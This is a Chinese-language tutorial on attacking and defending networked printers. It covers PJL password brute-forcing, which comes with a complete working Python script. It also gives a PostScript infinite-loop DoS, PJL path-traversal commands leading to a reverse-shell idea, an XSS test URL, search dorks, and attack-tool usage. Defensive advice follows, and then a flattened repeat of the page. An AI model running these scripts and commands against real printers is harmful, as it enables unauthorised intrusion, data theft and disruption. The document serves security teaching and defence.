不可忽视的打印机漏洞研究
字数 2089 2025-08-18 11:38:44

打印机漏洞研究与安全防护指南

0x01 打印机安全概述

打印机作为企业内网中常被忽视的设备,实际上存在多种安全漏洞。当打印机连接网络时,它可以被视为一台服务器,可能面临以下攻击:

  • 信息泄露:访问内存可能发现密码或打印文件中的敏感数据;访问文件系统可能泄露配置文件或存储的打印作业
  • 拒绝服务(DoS)攻击
  • 远程代码执行(RCE):通过缓冲区溢出漏洞构造恶意数据包,使打印机执行恶意代码
  • 恶意固件更新:将固件更新为含有恶意代码的版本
  • 打印任务控制:修改打印内容等

0x02 打印机语言基础

打印机语言分类

  1. 页面描述语言(PDL)

    • HP的PCL控制语言
    • PostScript(PS)
  2. 嵌入式语言(Escape码语言)

PS与PCL对比

特性 PCL PostScript
优势 对系统资源占用少,处理文本/文档出色 处理大型图形/图像文件有优势,色彩准确度高
适用场景 普通商务办公 专业图形设计和高精度色彩需求

打印机工作流程

  1. 计算机将打印内容解释成标准页面描述文件(PS/PCL格式)
  2. 文件传到打印机控制器
  3. 控制器将文件发送给光栅图像处理器(RIP)
  4. RIP将PS/PCL解释成位图格式
  5. 打印机打印位图格式图像

PJL(打印任务语言)

  • 是PCL的扩展
  • 用于指导打印机行为,执行管理性更改设置
  • 可对打印文件执行存储删除操作
  • 可被用来执行DoS攻击、打印页面控制、读取文件系统和内存,甚至恶意固件更新

PPD(PostScript打印机描述)文件

  • 提供打印机特定信息:分辨率、是否支持半色调监控、页面大小定义等
  • 每种PostScript打印机都有专门的PPD文件

0x03 打印机探测方法

  1. Nmap扫描nmap -A 192.168.1.*,查看开放端口和操作系统指纹
  2. 厂商专用工具
    • Savins打印机:SmartDeviceMonitor
    • JetDirect打印机:JetAdmin
  3. ARP协议扫描:通过MAC地址发现打印机
  4. 谷歌搜索
    • Ricoh Savins:intitle:"web image monitor" "/web/user/en/websys/webArch/mainFrame.cgi"
    • HP Jetdirects:inurl:hp/device/this.LCDispatcher
    • CUPS Connected Printers:inurl:":631/printers" -php -demo
  5. 其他搜索引擎
    • Shodan:device:printer
    • 钟馗之眼:service:"jetdirect"

0x04 常见打印机漏洞

PJL密码爆破

漏洞原理

  • 打印机9100端口向公网开放
  • PJL认证密钥长度为2字节(65536种可能)
  • 可通过爆破禁用PJL密码保护

危害

  • 查看和更改打印机状态
  • 访问打印机内置文件系统
  • 读写后台打印作业、传真、日志和配置文件

爆破脚本(Python3)

import socket
import sys

def main():
    if len(sys.argv)<=1:
        print('Parameters error')
        return
    
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((sys.argv[1],9100))
    s.settimeout(None)
    
    # 发送读取设备ID的PJL指令
    s.send(('33%-12345X@PJL INFO ID\r\n33%-12345X\r\n').encode('UTF-8'))
    print(s.recv(1024).decode('UTF-8'))
    
    for i in range(1, 65536):
        buf = b''
        # 发送重置密码的PJL指令
        s.send(('33%-12345X@PJL \r\n@PJL JOB PASSWORD=' + str(i) + '\r\n@PJL DEFAULT PASSWORD=0 \r\n@PJL EOJ\r\n33%-12345X\r\n').encode('UTF-8'))
        
        if i%30 == 0:
            # 发送查询密码保护状态的PJL指令
            s.send(('33%-12345X@PJL \r\n@PJL DINQUIRE PASSWORD\r\n33%-12345X\r\n').encode('UTF-8'))
            while True:
                buf += s.recv(1)
                print(buf)
                try:
                    buf.index(b'\r\n\x0c')
                    try:
                        # 密码保护被禁用
                        buf.index(b'DISABLED')
                        print('password disabled ok!')
                        # 发送查询目录的PJL指令
                        s.send(('33%-12345X@PJL \r\n@PJL FSDIRLIST NAME = "0:\\" ENTRY=1 COUNT=99\r\n33%-12345X\r\n').encode('UTF-8'))
                        buf = b''
                        while True:
                            buf += s.recv(1)
                            print(buf)
                            try:
                                buf.index(b'\r\n\x0c')
                                try:
                                    # 查询成功
                                    buf.index(b'ENTRY')
                                    print('PoC OK!')
                                    return
                                except ValueError:
                                    print('PoC NO!')
                                    return
                            except ValueError:
                                continue
                    except ValueError:
                        print('password disabled faild!')
                    finally:
                        s.close()
                        return
                except ValueError:
                    continue
    s.close()

if __name__ == '__main__':
    main()

拒绝服务(DoS)攻击

攻击方法

  • 通过9100端口发送无限循环打印任务的PostScript代码
  • 示例PS代码:
    %! 
    {} 
    loop
    

路径遍历漏洞

漏洞原理

  • 通过../进行目录穿越
  • 可读取和写入文件

利用方法

  1. 使用PJL命令遍历目录:

    • @PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024
    • @PJL FSDIRLIST NAME="0:/../" ENTRY=1 COUNT=1024
    • @PJL FSDIRLIST NAME="0:/../data" ENTRY=1 COUNT=1024
  2. 寻找可写入文件(如启动脚本),写入恶意代码实现反弹shell

HP JetDirect打印机存储型XSS

漏洞详情

  • CVE-2012-3272
  • 影响HP镭射打印机配置页面
  • "Product_URL"和"Tech_URL"参数存在漏洞

测试方法

http://[server]/support_param.html/config?Admin_Name=&Admin_Phone=&Product_URL=[XSS]&Tech_URL=[XSS]&Apply=Apply

0x05 打印机攻击工具

PFT工具

基本用法

  1. 连接打印机:

    pft> server 192.168.15.200
    pft> port 9100
    pft> connect
    
  2. 清除PJL程序保护:

    pft> env bruteforce
    
  3. 查看硬盘文件:

    pft> volumes
    pft> ls
    
  4. 下载文件:

    pft> get 文件名
    

PRET工具

功能

  • 支持PS、PJL和PCL打印机语言
  • 可检查文件系统、创建目录、更改配置文件、dump整个NVRAM

基本用法

python pret.py IP PS

0x06 固件漏洞

检测方法

  1. 使用nmap扫描固件版本
  2. 使用Linux_Exploit_Suggester.pl查询内核版本漏洞:
    perl Linux_Exploit_Suggester.pl -k 2.6.31
    

0x07 安全建议

  1. 网络隔离:将打印机置于独立VLAN或专用网络
  2. 访问控制
    • 禁用不必要的服务端口
    • 设置强密码保护PJL访问
  3. 固件更新:定期更新打印机固件
  4. 日志监控:监控打印机的异常访问和操作
  5. 敏感数据保护:避免在打印机上存储敏感文档
  6. 物理安全:限制对打印机的物理访问

0x08 注意事项

  • 测试时不要随意扫描打印机,否则可能导致打印大量请求数据包,浪费纸张
  • 所有测试应在授权范围内进行
  • 涉及漏洞的信息仅限技术研究与讨论,严禁用于非法用途
打印机漏洞研究与安全防护指南 0x01 打印机安全概述 打印机作为企业内网中常被忽视的设备,实际上存在多种安全漏洞。当打印机连接网络时,它可以被视为一台服务器,可能面临以下攻击: 信息泄露 :访问内存可能发现密码或打印文件中的敏感数据;访问文件系统可能泄露配置文件或存储的打印作业 拒绝服务(DoS)攻击 远程代码执行(RCE) :通过缓冲区溢出漏洞构造恶意数据包,使打印机执行恶意代码 恶意固件更新 :将固件更新为含有恶意代码的版本 打印任务控制 :修改打印内容等 0x02 打印机语言基础 打印机语言分类 页面描述语言(PDL) HP的PCL控制语言 PostScript(PS) 嵌入式语言(Escape码语言) PS与PCL对比 | 特性 | PCL | PostScript | |------|-----|------------| | 优势 | 对系统资源占用少,处理文本/文档出色 | 处理大型图形/图像文件有优势,色彩准确度高 | | 适用场景 | 普通商务办公 | 专业图形设计和高精度色彩需求 | 打印机工作流程 计算机将打印内容解释成标准页面描述文件(PS/PCL格式) 文件传到打印机控制器 控制器将文件发送给光栅图像处理器(RIP) RIP将PS/PCL解释成位图格式 打印机打印位图格式图像 PJL(打印任务语言) 是PCL的扩展 用于指导打印机行为,执行管理性更改设置 可对打印文件执行存储删除操作 可被用来执行DoS攻击、打印页面控制、读取文件系统和内存,甚至恶意固件更新 PPD(PostScript打印机描述)文件 提供打印机特定信息:分辨率、是否支持半色调监控、页面大小定义等 每种PostScript打印机都有专门的PPD文件 0x03 打印机探测方法 Nmap扫描 : nmap -A 192.168.1.* ,查看开放端口和操作系统指纹 厂商专用工具 : Savins打印机:SmartDeviceMonitor JetDirect打印机:JetAdmin ARP协议扫描 :通过MAC地址发现打印机 谷歌搜索 : Ricoh Savins: intitle:"web image monitor" "/web/user/en/websys/webArch/mainFrame.cgi" HP Jetdirects: inurl:hp/device/this.LCDispatcher CUPS Connected Printers: inurl:":631/printers" -php -demo 其他搜索引擎 : Shodan: device:printer 钟馗之眼: service:"jetdirect" 0x04 常见打印机漏洞 PJL密码爆破 漏洞原理 : 打印机9100端口向公网开放 PJL认证密钥长度为2字节(65536种可能) 可通过爆破禁用PJL密码保护 危害 : 查看和更改打印机状态 访问打印机内置文件系统 读写后台打印作业、传真、日志和配置文件 爆破脚本(Python3) : 拒绝服务(DoS)攻击 攻击方法 : 通过9100端口发送无限循环打印任务的PostScript代码 示例PS代码: 路径遍历漏洞 漏洞原理 : 通过 ../ 进行目录穿越 可读取和写入文件 利用方法 : 使用PJL命令遍历目录: @PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024 @PJL FSDIRLIST NAME="0:/../" ENTRY=1 COUNT=1024 @PJL FSDIRLIST NAME="0:/../data" ENTRY=1 COUNT=1024 寻找可写入文件(如启动脚本),写入恶意代码实现反弹shell HP JetDirect打印机存储型XSS 漏洞详情 : CVE-2012-3272 影响HP镭射打印机配置页面 "Product_ URL"和"Tech_ URL"参数存在漏洞 测试方法 : 0x05 打印机攻击工具 PFT工具 基本用法 : 连接打印机: 清除PJL程序保护: 查看硬盘文件: 下载文件: PRET工具 功能 : 支持PS、PJL和PCL打印机语言 可检查文件系统、创建目录、更改配置文件、dump整个NVRAM 基本用法 : 0x06 固件漏洞 检测方法 : 使用nmap扫描固件版本 使用Linux_ Exploit_ Suggester.pl查询内核版本漏洞: 0x07 安全建议 网络隔离 :将打印机置于独立VLAN或专用网络 访问控制 : 禁用不必要的服务端口 设置强密码保护PJL访问 固件更新 :定期更新打印机固件 日志监控 :监控打印机的异常访问和操作 敏感数据保护 :避免在打印机上存储敏感文档 物理安全 :限制对打印机的物理访问 0x08 注意事项 测试时不要随意扫描打印机,否则可能导致打印大量请求数据包,浪费纸张 所有测试应在授权范围内进行 涉及漏洞的信息仅限技术研究与讨论,严禁用于非法用途